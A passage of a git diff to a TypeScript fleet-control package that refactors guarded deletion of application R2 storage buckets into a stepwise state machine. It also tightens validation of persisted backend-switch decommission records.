+  return new Error('application R2 deletion start index is invalid');
+}
+
+function invalidApplicationR2DetachmentProof(): Error {
+  return new Error('application R2 detachment proof is invalid');
+}
+
+/** @internal Advances at most one application-R2 resource state or mutation. */
+export async function advanceApplicationR2Deletion(options: {
+  readonly spec: Pick<
+    DeploymentSpec,
+    'tenantTag' | 'environment' | 'scriptName' | 'databaseName'
+  >;
   readonly resources: readonly ApplicationR2Resource[];
   readonly backend: ApplicationR2LifecycleBackend;
   readonly fence: import('./types.js').ExternalMutationFence;
-  readonly persist: (
-    resources: readonly ApplicationR2Resource[],
-  ) => Promise<void>;
-}): Promise<readonly ApplicationR2Resource[]> {
-  if (options.resources.length === 0) return [];
-  const backend = options.backend;
+  readonly startResourceIndex?: number;
+  readonly verifiedDetachmentResourceIndex?: number;
+}): Promise<ApplicationR2DeletionAdvance> {
+  const resources = [...options.resources];
+  const startResourceIndex = options.startResourceIndex ?? 0;
   if (
-    !backend.findApplicationR2Bucket ||
-    !backend.assertApplicationR2Detached ||
-    !backend.assertApplicationR2Empty ||
-    !backend.deleteApplicationR2Bucket
+    !Number.isSafeInteger(startResourceIndex) ||
+    startResourceIndex < 0 ||
+    startResourceIndex > resources.length
   ) {
-    throw new Error('backend cannot safely delete application R2 resources');
+    throw invalidApplicationR2DeletionStart();
   }
-  let resources = [...options.resources];
-  const persistState = async (
-    index: number,
-    resource: ApplicationR2Resource,
-  ): Promise<void> => {
-    resources = resources.map((current, currentIndex) =>
-      currentIndex === index ? resource : current,
-    );
-    await options.persist(resources);
+  const verifiedDetachmentResourceIndex =
+    options.verifiedDetachmentResourceIndex;
+  if (
+    verifiedDetachmentResourceIndex !== undefined &&
+    (!Number.isSafeInteger(verifiedDetachmentResourceIndex) ||
+      verifiedDetachmentResourceIndex < startResourceIndex ||
+      verifiedDetachmentResourceIndex >= resources.length)
+  ) {
+    throw invalidApplicationR2DetachmentProof();
+  }
+  let find:
+    | NonNullable<ApplicationR2LifecycleBackend['findApplicationR2Bucket']>
+    | undefined;
+  let findRead = false;
+  const requireFind = () => {
+    if (!findRead) {
+      findRead = true;
+      const candidate = options.backend.findApplicationR2Bucket;
+      if (typeof candidate === 'function') {
+        find = candidate.bind(options.backend);
+      }
+    }
+    if (!find) {
+      throw new Error('backend cannot inspect application R2 resources');
+    }
+    return find;
   };
-  for (let index = 0; index < resources.length; index += 1) {
-    let resource = resources[index] as ApplicationR2Resource;
+  let assertEmpty:
+    | NonNullable<ApplicationR2LifecycleBackend['assertApplicationR2Empty']>
+    | undefined;
+  let assertEmptyRead = false;
+  const requireAssertEmpty = () => {
+    if (!assertEmptyRead) {
+      assertEmptyRead = true;
+      const candidate = options.backend.assertApplicationR2Empty;
+      if (typeof candidate === 'function') {
+        assertEmpty = candidate.bind(options.backend);
+      }
+    }
+    if (!assertEmpty) {
+      throw new Error('backend cannot attest application R2 emptiness');
+    }
+    return assertEmpty;
+  };
+  let deleteBucket:
+    | NonNullable<ApplicationR2LifecycleBackend['deleteApplicationR2Bucket']>
+    | undefined;
+  let deleteBucketRead = false;
+  const requireDeleteBucket = () => {
+    if (!deleteBucketRead) {
+      deleteBucketRead = true;
+      const candidate = options.backend.deleteApplicationR2Bucket;
+      if (typeof candidate === 'function') {
+        deleteBucket = candidate.bind(options.backend);
+      }
+    }
+    if (!deleteBucket) {
+      throw new Error('backend cannot delete application R2 resources');
+    }
+    return deleteBucket;
+  };
+  if (startResourceIndex === resources.length) {
+    return { status: 'complete', resources };
+  }
+
+  let index = startResourceIndex;
+  for (; index < resources.length; index += 1) {
+    const resource = resources[index] as ApplicationR2Resource;
+    assertApplicationR2ReservationIdentity(options.spec, resource);
     if (resource.state === 'reserved') {
-      if (await backend.findApplicationR2Bucket(resource)) {
+      if (await requireFind()(resource)) {
         throw new Error(
           `refusing to delete pre-existing R2 bucket '${resource.bucketName}' from an unauthorized reservation`,
         );
       }
       continue;
     }
-    if (resource.state === 'create-authorized') {
-      const live = await backend.findApplicationR2Bucket(resource);
-      if (!live) {
-        resource = { ...resource, state: 'delete-authorized' };
-        await persistState(index, resource);
-      } else {
-        assertLiveR2Identity(resource, live);
-        resource = {
-          ...resource,
-          state: 'created',
-          creationDate: live.creationDate,
-        };
-        await persistState(index, resource);
-      }
-    }
     if (resource.state === 'deleted') {
-      if (await backend.findApplicationR2Bucket(resource)) {
+      if (await requireFind()(resource)) {
         throw new Error(
           `R2 bucket '${resource.bucketName}' reappeared after deletion`,
         );
       }
       continue;
     }
-    if (
-      resource.state === 'created' ||
-      resource.state === 'detach-authorized'
-    ) {
-      const live = await backend.findApplicationR2Bucket(resource);
-      if (!live) {
-        throw new Error(
-          `R2 bucket '${resource.bucketName}' disappeared before delete authorization`,
-        );
-      }
-      assertLiveR2Identity(resource, live);
-      if (resource.state === 'created') {
-        resource = { ...resource, state: 'detach-authorized' };
-        await persistState(index, resource);
-      }
-      await options.fence.assertOwned();
-      await backend.assertApplicationR2Detached(resource, options.fence);
-      resource = { ...resource, state: 'detached' };
-      await persistState(index, resource);
+    break;
+  }
+
+  if (index === resources.length) {
+    if (verifiedDetachmentResourceIndex !== undefined) {
+      throw invalidApplicationR2DetachmentProof();
     }
-    if (
-      resource.state === 'detached' ||
-      resource.state === 'empty-authorized'
-    ) {
-      const live = await backend.findApplicationR2Bucket(resource);
-      if (!live) {
-        throw new Error(
-          `R2 bucket '${resource.bucketName}' disappeared before delete authorization`,
-        );
-      }
-      assertLiveR2Identity(resource, live);
-      if (resource.state === 'detached') {
-        resource = { ...resource, state: 'empty-authorized' };
-        await persistState(index, resource);
-      }
-      await options.fence.assertOwned();
-      await backend.assertApplicationR2Empty(resource, options.fence);
-      resource = { ...resource, state: 'empty' };
-      await persistState(index, resource);
+    return { status: 'complete', resources };
+  }
+
+  let resource = resources[index] as ApplicationR2Resource;
+  if (
+    verifiedDetachmentResourceIndex !== undefined &&
+    (verifiedDetachmentResourceIndex !== index ||
+      resource.state !== 'detach-authorized')
+  ) {
+    throw invalidApplicationR2DetachmentProof();
+  }
+
+  if (resource.state === 'create-authorized') {
+    const live = await requireFind()(resource);
+    if (live) assertLiveR2Identity(resource, live);
+    resource = live
+      ? {
+          ...resource,
+          state: 'created' as const,
+          creationDate: live.creationDate,
+        }
+      : { ...resource, state: 'delete-authorized' as const };
+    return {
+      status: 'resource-advanced',
+      resourceIndex: index,
+      resources: replaceApplicationR2Resource(resources, index, resource),
+    };
+  }
+
+  if (resource.state === 'created') {
+    const live = await requireFind()(resource);
+    if (!live) {
+      throw new Error(
+        `R2 bucket '${resource.bucketName}' disappeared before delete authorization`,
+      );
     }
-    if (resource.state === 'empty' || resource.state === 'delete-authorized') {
-      if (resource.state === 'empty') {
-        resource = { ...resource, state: 'delete-authorized' };
-        await persistState(index, resource);
-        await options.fence.assertOwned();
+    assertLiveR2Identity(resource, live);
+    const detachAuthorized = {
+      ...resource,
+      state: 'detach-authorized' as const,
+      creationDate: resource.creationDate ?? live.creationDate,
+    };
+    return {
+      status: 'detachment-required',
+      resourceIndex: index,
+      resource: detachAuthorized,
+      resources: replaceApplicationR2Resource(
+        resources,
+        index,
+        detachAuthorized,
+      ),
+    };
+  }
+
+  if (resource.state === 'detach-authorized') {
+    if (verifiedDetachmentResourceIndex === index) {
+      if (resource.creationDate === undefined) {
+        throw invalidApplicationR2DetachmentProof();
       }
-      const live = await backend.findApplicationR2Bucket(resource);
-      if (live) {
-        if (resource.creationDate === undefined) {
-          resource = { ...resource, creationDate: live.creationDate };
-          await persistState(index, resource);
-        }
-        assertLiveR2Identity(resource, live);
-        try {
-          await backend.deleteApplicationR2Bucket(resource, options.fence);
-        } catch (error) {
-          if (await backend.findApplicationR2Bucket(resource)) throw error;
-        }
+      return {
+        status: 'resource-advanced',
+        resourceIndex: index,
+        resources: replaceApplicationR2Resource(resources, index, {
+          ...resource,
+          state: 'detached',
+        }),
+      };
+    }
+    const live = await requireFind()(resource);
+    if (!live) {
+      throw new Error(
+        `R2 bucket '${resource.bucketName}' disappeared before delete authorization`,
+      );
+    }
+    assertLiveR2Identity(resource, live);
+    const detachAuthorized = {
+      ...resource,
+      state: 'detach-authorized' as const,
+      creationDate: resource.creationDate ?? live.creationDate,
+    };
+    return {
+      status: 'detachment-required',
+      resourceIndex: index,
+      resource: detachAuthorized,
+      resources: replaceApplicationR2Resource(
+        resources,
+        index,
+        detachAuthorized,
+      ),
+    };
+  }
+
+  if (resource.state === 'detached') {
+    const live = await requireFind()(resource);
+    if (!live) {
+      throw new Error(
+        `R2 bucket '${resource.bucketName}' disappeared before delete authorization`,
+      );
+    }
+    assertLiveR2Identity(resource, live);
+    return {
+      status: 'resource-advanced',
+      resourceIndex: index,
+      resources: replaceApplicationR2Resource(resources, index, {
+        ...resource,
+        state: 'empty-authorized',
+        creationDate: resource.creationDate ?? live.creationDate,
+      }),
+    };
+  }
+
+  if (resource.state === 'empty-authorized') {
+    const live = await requireFind()(resource);
+    if (!live) {
+      throw new Error(
+        `R2 bucket '${resource.bucketName}' disappeared before delete authorization`,
+      );
+    }
+    assertLiveR2Identity(resource, live);
+    await options.fence.assertOwned();
+    await requireAssertEmpty()(resource, options.fence);
+    return {
+      status: 'resource-advanced',
+      resourceIndex: index,
+      resources: replaceApplicationR2Resource(resources, index, {
+        ...resource,
+        state: 'empty',
+        creationDate: resource.creationDate ?? live.creationDate,
+      }),
+    };
+  }
+
+  if (resource.state === 'empty') {
+    return {
+      status: 'resource-advanced',
+      resourceIndex: index,
+      resources: replaceApplicationR2Resource(resources, index, {
+        ...resource,
+        state: 'delete-authorized',
+      }),
+    };
+  }
+
+  if (resource.state !== 'delete-authorized') {
+    throw new Error('application R2 deletion has invalid persisted progress');
+  }
+
+  const findBucket = requireFind();
+  const live = await findBucket(resource);
+  if (!live) {
+    return {
+      status: 'resource-advanced',
+      resourceIndex: index,
+      resources: replaceApplicationR2Resource(resources, index, {
+        ...resource,
+        state: 'deleted',
+      }),
+    };
+  }
+  assertLiveR2Identity(resource, live);
+  if (resource.creationDate === undefined) {
+    return {
+      status: 'resource-advanced',
+      resourceIndex: index,
+      resources: replaceApplicationR2Resource(resources, index, {
+        ...resource,
+        creationDate: live.creationDate,
+      }),
+    };
+  }
+  await options.fence.assertOwned();
+  try {
+    await requireDeleteBucket()(resource, options.fence);
+  } catch (error) {
+    if (await findBucket(resource)) throw error;
+    return {
+      status: 'resource-advanced',
+      resourceIndex: index,
+      resources: replaceApplicationR2Resource(resources, index, {
+        ...resource,
+        state: 'deleted',
+      }),
+    };
+  }
+  if (await findBucket(resource)) {
+    throw new Error(
+      `R2 bucket '${resource.bucketName}' remains after deletion`,
+    );
+  }
+  return {
+    status: 'resource-advanced',
+    resourceIndex: index,
+    resources: replaceApplicationR2Resource(resources, index, {
+      ...resource,
+      state: 'deleted',
+    }),
+  };
+}
+
+export async function convergeApplicationR2Deletion(options: {
+  readonly spec: Pick<
+    DeploymentSpec,
+    'tenantTag' | 'environment' | 'scriptName' | 'databaseName'
+  >;
+  readonly resources: readonly ApplicationR2Resource[];
+  readonly backend: ApplicationR2LifecycleBackend;
+  readonly fence: import('./types.js').ExternalMutationFence;
+  readonly persist: (
+    resources: readonly ApplicationR2Resource[],
+  ) => Promise<void>;
+}): Promise<readonly ApplicationR2Resource[]> {
+  if (options.resources.length === 0) return [];
+  const findApplicationR2BucketCandidate =
+    options.backend.findApplicationR2Bucket;
+  const assertApplicationR2DetachedCandidate =
+    options.backend.assertApplicationR2Detached;
+  const assertApplicationR2EmptyCandidate =
+    options.backend.assertApplicationR2Empty;
+  const deleteApplicationR2BucketCandidate =
+    options.backend.deleteApplicationR2Bucket;
+  if (
+    typeof findApplicationR2BucketCandidate !== 'function' ||
+    typeof assertApplicationR2DetachedCandidate !== 'function' ||
+    typeof assertApplicationR2EmptyCandidate !== 'function' ||
+    typeof deleteApplicationR2BucketCandidate !== 'function'
+  ) {
+    throw new Error('backend cannot safely delete application R2 resources');
+  }
+  const backend = {
+    findApplicationR2Bucket: findApplicationR2BucketCandidate.bind(
+      options.backend,
+    ),
+    assertApplicationR2Detached: assertApplicationR2DetachedCandidate.bind(
+      options.backend,
+    ),
+    assertApplicationR2Empty: assertApplicationR2EmptyCandidate.bind(
+      options.backend,
+    ),
+    deleteApplicationR2Bucket: deleteApplicationR2BucketCandidate.bind(
+      options.backend,
+    ),
+  };
+  let resources = [...options.resources];
+  let startResourceIndex = 0;
+  for (;;) {
+    const result = await advanceApplicationR2Deletion({
+      spec: options.spec,
+      resources,
+      backend,
+      fence: options.fence,
+      startResourceIndex,
+    });
+    if (result.status === 'complete') return result.resources;
+
+    if (result.status === 'detachment-required') {
+      if (
+        result.resources[result.resourceIndex] !==
+        resources[result.resourceIndex]
+      ) {
+        resources = [...result.resources];
+        await options.persist(resources);
+      } else {
+        resources = [...result.resources];
       }
-      if (await backend.findApplicationR2Bucket(resource)) {
-        throw new Error(
-          `R2 bucket '${resource.bucketName}' remains after deletion`,
-        );
+      await options.fence.assertOwned();
+      await backend.assertApplicationR2Detached(result.resource, options.fence);
+      startResourceIndex = result.resourceIndex;
+      const verified = await advanceApplicationR2Deletion({
+        spec: options.spec,
+        resources,
+        backend,
+        fence: options.fence,
+        startResourceIndex,
+        verifiedDetachmentResourceIndex: result.resourceIndex,
+      });
+      if (
+        verified.status !== 'resource-advanced' ||
+        verified.resourceIndex !== result.resourceIndex ||
+        verified.resources[result.resourceIndex]?.state !== 'detached'
+      ) {
+        throw invalidApplicationR2DetachmentProof();
       }
-      resource = { ...resource, state: 'deleted' };
-      await persistState(index, resource);
+      resources = [...verified.resources];
+      await options.persist(resources);
+      startResourceIndex = verified.resourceIndex;
+      continue;
+    }
+
+    resources = [...result.resources];
+    await options.persist(resources);
+    if (resources[result.resourceIndex]?.state === 'deleted') {
+      startResourceIndex = result.resourceIndex + 1;
+    } else {
+      startResourceIndex = result.resourceIndex;
     }
   }
-  return resources;
 }
 
 function comparableR2Bindings(
diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts
index 1f7c9677..ba3c1dbc 100644
--- a/packages/fleet-control/src/backend-switch.ts
+++ b/packages/fleet-control/src/backend-switch.ts
@@ -1,10 +1,44 @@
 // SPDX-License-Identifier: Apache-2.0
 
+import { createHash, randomUUID as nodeRandomUUID } from 'node:crypto';
+
 import {
+  advanceApplicationR2Deletion,
   applicationBindingTopology,
   assertApplicationR2EmptyBeforeDecommission,
   convergeApplicationR2Deletion,
 } from './application-bindings.js';
+import {
+  invocationAuthorityCarrierFromUnknown,
+  normalizeCleanupAdvanceIntent,
+} from './cleanup-intent.js';
+import {
+  assertWorkerAttachmentProviderRequestBudget,
+  initialWorkerAttachmentScan,
+} from './cloudflare-worker-attachment-scan-state.js';
+import {
+  advanceDecommissionAttachmentScanStep,
+  type DecommissionAdvanceAction,
+  DecommissionAdvanceCapabilityError,
+  DecommissionAdvanceRestartError,
+  type DecommissionAdvanceResult,
+  type DecommissionIntentTransition,
+  decommissionAdvanceActionFromUnknown,
+} from './decommission-advance.js';
+import {
+  databaseExportFromUnknown,
+  databaseExportReceiptIdentity,
+  reconcilePersistedDatabaseFromCallbacks,
+  settleDatabaseDeletionUnderBarrier,
+} from './decommission-database.js';
+import {
+  backendSwitchDecommissionLifecyclePhase,
+  classifyDecommissionAdvanceToken,
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenOperationError,
+  normalizeDecommissionAdvanceIntent,
+  parseDecommissionAdvanceToken,
+} from './decommission-intent.js';
 import {
   isDeploymentEnvironment,
   isDeploymentScriptName,
@@ -18,6 +52,7 @@ import {
   assertPlatformResourcesMatchTarget,
   canonicalDeploymentEgressPolicy,
   canonicalMaintenanceCapabilityPublicKey,
+  durableObjectMigrationHistoryDigest,
   type ExternalRouteExpectation,
   externalHostRoutingTarget,
   externalRouteExpectations,
@@ -27,10 +62,27 @@ import {
   externalReleaseTopologyFromUnknown,
 } from './release-topology.js';
 import { deploymentSpecDigest } from './spec-digest.js';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
 import type {
+  BackendSwitchApplicationR2Progress,
+  BackendSwitchCandidateSnapshot,
+  BackendSwitchDecommissionRelease,
+  BackendSwitchDecommissionRouteTarget,
+  BackendSwitchDecommissionSnapshot,
+  BackendSwitchIntent,
+  BackendSwitchSubphase,
+  BridgeMutationPlan,
+  BridgeSnapshot,
+  CleanupAdvanceIntent,
+  DatabaseExportReceiptIdentity,
+  DatabaseReference,
+  DecommissionAdvanceIntent,
+  DecommissionAdvanceToken,
+  DecommissionAttachmentScanInput,
   DeploymentSecrets,
   DeploymentSpec,
   DurableObjectBindingInventory,
+  ExternalMigrationIntent,
   ExternalMutationFence,
   ExternalPlatformResources,
   ExternalPlatformTargetDescription,
@@ -38,142 +90,156 @@ import type {
   FleetRecord,
   FleetStateLease,
   FleetStateStore,
+  InvocationAuthorityCarrier,
+  PlainBackendSnapshot,
+  ProvisioningPhase,
 } from './types.js';
+import {
+  applicationR2ResourceFromProgress,
+  assertNoActiveCleanup,
+  assertNoActiveDecommission,
+  BACKEND_SWITCH_SUBPHASES,
+  effectiveLifecyclePhase,
+  PROVISIONING_PHASES,
+  SETTLED_BACKEND_SWITCH_SUBPHASES,
+} from './types.js';
+import { validateDeploymentSpec } from './validation.js';
 
-export const BACKEND_SWITCH_SUBPHASES = [
-  'planned',
-  'bridge-upload-authorized',
-  'bridge-deployed',
-  'candidate-deploy-authorized',
-  'candidate-deployed',
-  'host-publish-authorized',
-  'host-published',
-  'domain-detach-authorized',
-  'dispatch-serving',
-  'bridge-private-authorized',
-  'bridge-private',
-  'ownership-commit-authorized',
-  'ready',
-  'rollback-route-authorized',
-  'rollback-routed',
-  'rollback-drain-authorized',
-  'rollback-drained',
-  'rollback-restore-authorized',
-  'rollback-restored',
-  'rollback-ownership-authorized',
-  'rolled-back',
-  'finalize-authorized',
-  'finalized',
-  'decommission-traffic-authorized',
-  'decommission-traffic-removed',
-  'decommission-candidate-authorized',
-  'decommission-candidate-removed',
-  'decommission-bridge-authorized',
-  'decommission-bridge-removed',
-  'decommission-application-r2-authorized',
-  'decommission-application-r2-removed',
-  'decommission-export-authorized',
-  'decommission-exported',
-  'decommission-database-authorized',
-  'decommissioned',
-] as const;
-
-export type BackendSwitchSubphase = (typeof BACKEND_SWITCH_SUBPHASES)[number];
-
-export interface PlainBackendSnapshot {
-  readonly scriptName: string;
-  readonly artifactVersion: string;
-  readonly specDigest: string;
-  readonly databaseId: string;
-  readonly databaseName: string;
-  readonly durableObjectBindings: readonly DurableObjectBindingInventory[];
-  readonly namespaceIds: readonly string[];
-  readonly secretNames: readonly string[];
-  readonly application?: import('./types.js').ApplicationBindingTopology;
-  readonly applicationResources: readonly import('./types.js').ApplicationR2Resource[];
-  readonly customDomain: Readonly<{ id: string; hostname: string }>;
-}
+/** @internal Fixed refusal for malformed backend-switch Fleet authority. */
+export const BACKEND_SWITCH_RECORD_ERROR =
+  'backend switch decommission record is malformed';
+const SWITCH_PLAIN_DATA_DEPTH_BOUND = 64;
+const SWITCH_PLAIN_DATA_NODE_BOUND = 65_536;
+const SWITCH_PLAIN_DATA_BYTE_BOUND = 4 * 1024 * 1024;
+const STRUCTURED_CLONE = structuredClone;
 
-export interface BridgeSnapshot {
-  readonly scriptName: string;
-  readonly artifactVersion: string;
-  readonly artifactDigest: string;
-  readonly databaseId: string;
-  readonly durableObjectBindings: readonly DurableObjectBindingInventory[];
-  readonly namespaceIds: readonly string[];
-  readonly secretNames: readonly string[];
-  readonly application?: import('./types.js').ApplicationBindingTopology;
-  readonly publicRouteAttached: boolean;
-  readonly stateOnly: boolean;
-}
+export {
+  BACKEND_SWITCH_SUBPHASES,
+  type BackendSwitchApplicationR2Progress,
+  type BackendSwitchCandidateSnapshot,
+  type BackendSwitchDecommissionRelease,
+  type BackendSwitchDecommissionRouteTarget,
+  type BackendSwitchDecommissionSnapshot,
+  type BackendSwitchIntent,
+  type BackendSwitchSubphase,
+  type BridgeMutationPlan,
+  type BridgeSnapshot,
+  type PlainBackendSnapshot,
+} from './types.js';
 
-export interface BridgeMutationPlan {
-  readonly artifactDigest: string;
-  readonly durableObjectMigrations: readonly import('./types.js').DurableObjectMigration[];
-  readonly priorDurableObjectTag?: string;
-  readonly targetDurableObjectTag?: string;
-  readonly secretNames: readonly string[];
-  readonly mutationDigest: string;
-}
+/** @internal Immutable application-R2 identity in switch teardown authority. */
+export type BackendSwitchApplicationR2Authority = Readonly<
+  Pick<
+    import('./types.js').ApplicationR2Resource,
+    'name' | 'bucketName' | 'jurisdiction' | 'reservationNonce' | 'creationDate'
+  >
+>;
 
-export interface BackendSwitchIntent {
-  readonly kind: 'backend-switch';
-  readonly tenantTag: string;
-  readonly environment: string;
+/** @internal Exact immutable projection covered by switch teardown authority. */
+export interface BackendSwitchDecommissionAuthorityProjection {
+  readonly version: 1;
   readonly prior: PlainBackendSnapshot;
-  readonly targetSpecDigest: string;
-  readonly targetApplication: import('./types.js').ApplicationBindingTopology;
-  readonly target: ExternalPlatformTargetDescription;
-  readonly rollbackUntil: string;
-  readonly subphase: BackendSwitchSubphase;
-  readonly bridgePlan?: BridgeMutationPlan;
-  readonly bridge?: BridgeSnapshot;
-  readonly candidate?: BackendSwitchCandidateSnapshot;
-  readonly restoredArtifactVersion?: string;
-  readonly databaseExport?: import('./types.js').DatabaseExport;
-  readonly applicationR2Progress?: readonly BackendSwitchApplicationR2Progress[];
-  readonly stateReconcileIntent?: Readonly<{
-    targetSpecDigest: string;
-    plan: BridgeMutationPlan;
-    subphase: 'upload-authorized' | 'uploaded';
-  }>;
-  readonly decommissionSnapshot?: BackendSwitchDecommissionSnapshot;
-}
-
-export interface BackendSwitchDecommissionRelease {
-  readonly release: ExternalReleaseSnapshot;
-  readonly subphase: 'present' | 'delete-authorized' | 'deleted';
-}
-
-export interface BackendSwitchDecommissionSnapshot {
+  readonly restoredArtifactVersion: string | null;
+  readonly entryPendingArtifactVersion: string | null;
+  readonly entryPendingNamespaceIds: readonly string[] | null;
+  readonly providerTargetSpecDigest: string;
   readonly routeHostname: string;
   readonly routeTargets: readonly BackendSwitchDecommissionRouteTarget[];
   readonly desiredSpecDigest: string;
   readonly target: ExternalPlatformTargetDescription;
-  readonly releases: readonly BackendSwitchDecommissionRelease[];
-  readonly applicationResources: readonly import('./types.js').ApplicationR2Resource[];
+  readonly releases: readonly ExternalReleaseSnapshot[];
+  readonly applicationResources: readonly BackendSwitchApplicationR2Authority[];
   readonly bridge?: BridgeSnapshot;
   readonly resources?: ExternalPlatformResources;
   readonly bridgePlan?: BridgeMutationPlan;
 }
 
-export interface BackendSwitchDecommissionRouteTarget {
-  readonly release: ExternalReleaseSnapshot;
-  readonly target: ExternalPlatformTargetDescription;
-  readonly routeTarget: HostRoutingTarget;
+/** @internal Exact provider observation for one pending ordinary Worker. */
+export interface SwitchEntryPendingArtifactInspection {
+  readonly artifactVersion: string;
+  readonly specDigest: string;
+  readonly databaseIds: readonly string[];
+  readonly durableObjectBindings: readonly DurableObjectBindingInventory[];
+  readonly secretNames: readonly string[];
+  readonly serviceBindings: readonly Readonly<{
+    name: string;
+    service: string;
+    entrypoint?: string;
+  }>[];
+  readonly queueProducerBindings: readonly Readonly<{
+    name: string;
+    queueName: string;
+  }>[];
+  readonly application: import('./types.js').ApplicationBindingTopology;
+}
+
+/** @internal Reconstructs immutable switch teardown authority in fixed order. */
+export function backendSwitchDecommissionAuthorityProjection(
+  snapshot: BackendSwitchDecommissionSnapshot,
+): BackendSwitchDecommissionAuthorityProjection {
+  if (
+    !snapshot.prior ||
+    snapshot.restoredArtifactVersion === undefined ||
+    snapshot.entryPendingArtifactVersion === undefined ||
+    snapshot.entryPendingNamespaceIds === undefined ||
+    !snapshot.providerTargetSpecDigest
+  ) {
+    throw new Error(
+      'backend switch decommission snapshot lacks bounded authority',
+    );
+  }
+  return {
+    version: 1,
+    prior: snapshot.prior,
+    restoredArtifactVersion: snapshot.restoredArtifactVersion,
+    entryPendingArtifactVersion: snapshot.entryPendingArtifactVersion,
+    entryPendingNamespaceIds: snapshot.entryPendingNamespaceIds,
+    providerTargetSpecDigest: snapshot.providerTargetSpecDigest,
+    routeHostname: snapshot.routeHostname,
+    routeTargets: snapshot.routeTargets,
+    desiredSpecDigest: snapshot.desiredSpecDigest,
+    target: snapshot.target,
+    releases: snapshot.releases.map(({ release }) => baseRelease(release)),
+    applicationResources: snapshot.applicationResources.map(
+      ({ name, bucketName, jurisdiction, reservationNonce, creationDate }) => ({
+        name,
+        bucketName,
+        jurisdiction,
+        reservationNonce,
+        ...(creationDate ? { creationDate } : {}),
+      }),
+    ),
+    ...(snapshot.bridge ? { bridge: snapshot.bridge } : {}),
+    ...(snapshot.resources ? { resources: snapshot.resources } : {}),
+    ...(snapshot.bridgePlan ? { bridgePlan: snapshot.bridgePlan } : {}),
+  };
 }
 
-export interface BackendSwitchApplicationR2Progress {
-  readonly resource: import('./types.js').ApplicationR2Resource;
-  readonly subphase: import('./types.js').ApplicationR2Resource['state'];
+/** @internal Lowercase SHA-256 over the exact immutable teardown projection. */
+export function backendSwitchDecommissionSnapshotDigest(
+  snapshot: BackendSwitchDecommissionSnapshot,
+): string {
+  return createHash('sha256')
+    .update(
+      JSON.stringify(backendSwitchDecommissionAuthorityProjection(snapshot)),
+    )
+    .digest('hex');
 }
 
-export interface BackendSwitchCandidateSnapshot
-  extends ExternalReleaseSnapshot {
-  readonly maintenance: Readonly<{
-    receipt: string;
-    specDigest: string;
-  }>;
+function requireExactKeys(
+  value: Record<string, unknown>,
+  required: readonly string[],
+  optional: readonly string[],
+  message: string,
+): void {
+  const keys = Object.keys(value);
+  const allowed = new Set([...required, ...optional]);
+  if (
+    required.some((key) => !Object.hasOwn(value, key)) ||
+    keys.some((key) => !allowed.has(key))
+  ) {
+    throw new Error(message);
+  }
 }
 
 function stringArray(value: unknown, label: string): readonly string[] {
@@ -197,6 +263,19 @@ function durableBindings(
       (item) =>
         !item ||
         typeof item !== 'object' ||
+        (() => {
+          try {
+            requireExactKeys(
+              item as Record<string, unknown>,
+              ['name', 'className', 'namespaceId'],
+              ['scriptName', 'dispatchNamespace'],
+              `backend switch state has invalid ${label}`,
+            );
+            return false;
+          } catch {
+            return true;
+          }
+        })() ||
         typeof (item as Record<string, unknown>).name !== 'string' ||
         typeof (item as Record<string, unknown>).className !== 'string' ||
         typeof (item as Record<string, unknown>).namespaceId !== 'string' ||
@@ -227,8 +306,20 @@ function applicationTopology(
 function applicationResources(
   value: unknown,
 ): readonly import('./types.js').ApplicationR2Resource[] {
+  if (!Array.isArray(value)) {
+    throw new Error('backend switch state has invalid application resources');
+  }
+  for (const entry of value) {
+    if (entry && typeof entry === 'object' && !Array.isArray(entry)) {
+      requireExactKeys(
+        entry as Record<string, unknown>,
+        ['name', 'bucketName', 'jurisdiction', 'state', 'reservationNonce'],
+        ['creationDate'],
+        'backend switch state has invalid application resources',
+      );
+    }
+  }
   if (
-    !Array.isArray(value) ||
     value.some(
       (entry) =>
         !entry ||
@@ -278,6 +369,16 @@ function applicationR2Progress(
   if (!Array.isArray(value)) {
     throw new Error('backend switch state has invalid application R2 progress');
   }
+  for (const entry of value) {
+    if (entry && typeof entry === 'object' && !Array.isArray(entry)) {
+      requireExactKeys(
+        entry as Record<string, unknown>,
+        ['resource', 'subphase'],
+        [],
+        'backend switch state has invalid application R2 progress',
+      );
+    }
+  }
   const allowed = new Set([
     'reserved',
     'create-authorized',
@@ -338,7 +439,32 @@ function plainSnapshot(value: unknown): PlainBackendSnapshot {
     throw new Error('backend switch state has invalid prior snapshot');
   }
   const prior = value as Record<string, unknown>;
+  requireExactKeys(
+    prior,
+    [
+      'scriptName',
+      'artifactVersion',
+      'specDigest',
+      'databaseId',
+      'databaseName',
+      'durableObjectBindings',
+      'namespaceIds',
+      'secretNames',
+      'applicationResources',
+      'customDomain',
+    ],
+    ['application'],
+    'backend switch state has invalid prior snapshot',
+  );
   const domain = prior.customDomain;
+  if (domain && typeof domain === 'object' && !Array.isArray(domain)) {
+    requireExactKeys(
+      domain as Record<string, unknown>,
+      ['id', 'hostname'],
+      [],
+      'backend switch state has invalid prior snapshot',
+    );
+  }
   if (
     typeof prior.scriptName !== 'string' ||
     !isDeploymentScriptName(prior.scriptName) ||
@@ -419,6 +545,22 @@ function bridgeSnapshot(value: unknown): BridgeSnapshot {
     throw new Error('backend switch state has invalid bridge snapshot');
   }
   const bridge = value as Record<string, unknown>;
+  requireExactKeys(
+    bridge,
+    [
+      'scriptName',
+      'artifactVersion',
+      'artifactDigest',
+      'databaseId',
+      'durableObjectBindings',
+      'namespaceIds',
+      'secretNames',
+      'publicRouteAttached',
+      'stateOnly',
+    ],
+    ['application'],
+    'backend switch state has invalid bridge snapshot',
+  );
   if (
     typeof bridge.scriptName !== 'string' ||
     !isDeploymentScriptName(bridge.scriptName) ||
@@ -459,6 +601,17 @@ function bridgeMutationPlan(value: unknown): BridgeMutationPlan {
     throw new Error('backend switch state has invalid bridge plan');
   }
   const plan = value as Record<string, unknown>;
+  requireExactKeys(
+    plan,
+    [
+      'artifactDigest',
+      'durableObjectMigrations',
+      'secretNames',
+      'mutationDigest',
+    ],
+    ['priorDurableObjectTag', 'targetDurableObjectTag'],
+    'backend switch state has invalid bridge plan',
+  );
   if (
     typeof plan.artifactDigest !== 'string' ||
     !isSha256(plan.artifactDigest) ||
@@ -500,8 +653,34 @@ function releaseSnapshot(value: unknown): BackendSwitchCandidateSnapshot {
     throw new Error('backend switch state has invalid candidate snapshot');
   }
   const release = value as Record<string, unknown>;
+  requireExactKeys(
+    release,
+    [
+      'physicalScriptName',
+      'specDigest',
